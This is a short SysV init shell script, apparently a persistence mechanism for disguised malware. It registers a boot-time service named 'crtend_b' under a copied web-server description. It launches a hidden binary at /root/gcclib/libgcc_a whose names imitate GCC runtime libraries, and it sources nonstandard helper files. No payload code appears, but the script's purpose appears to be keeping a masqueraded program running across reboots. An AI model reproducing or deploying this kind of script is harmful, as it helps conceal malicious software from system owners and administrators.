#!/bin/sh
#
# crtend_b - this script starts and stops the crtend_b daemon
#
# chkconfig:    2345 85 15
# description:  crtend_b is an HTTP(S) server, HTTP(S) reverse #               proxy and IMAP/POP3 proxy server
# processname: libgcc_a

# Source function library.
#. /etc/rc.d/init.d/functions
. /etc/init.d/modules
. /etc/init.d/status
PROGNAME="/root/gcclib/libgcc_a"
prog="$(basename crtend_b)"

lockfile="/var/lock/subsys/${prog}"

start() {
    echo -n $"Starting $prog: "
    daemon $PROGNAME
    retval=$?
    echo
    [ $retval -eq 0 ] && touch $lockfile
    return $retval
}

stop() {
    echo -n $"Stopping $prog: "
    pkill -9 $prog
    retval=$?
    echo
    [ $retval -eq 0 ] && rm -f $lockfile
    return $retval
}

rh_status() {
    status $prog  >/dev/null 2>&1
	if [[ $? -ne 0 ]]; then
		statusfit $prog
	fi
}

rh_status_q() {
    rh_status >/dev/null 2>&1
}

case "$1" in
    start)
        rh_status_q && exit 0
        $1
        ;;
    stop)
        rh_status_q || exit 0
        $1
        ;;
    status)
        rh_$1
        ;;
    *)
        echo $"Usage: $0 {start|stop|status}"
        exit 2
esac
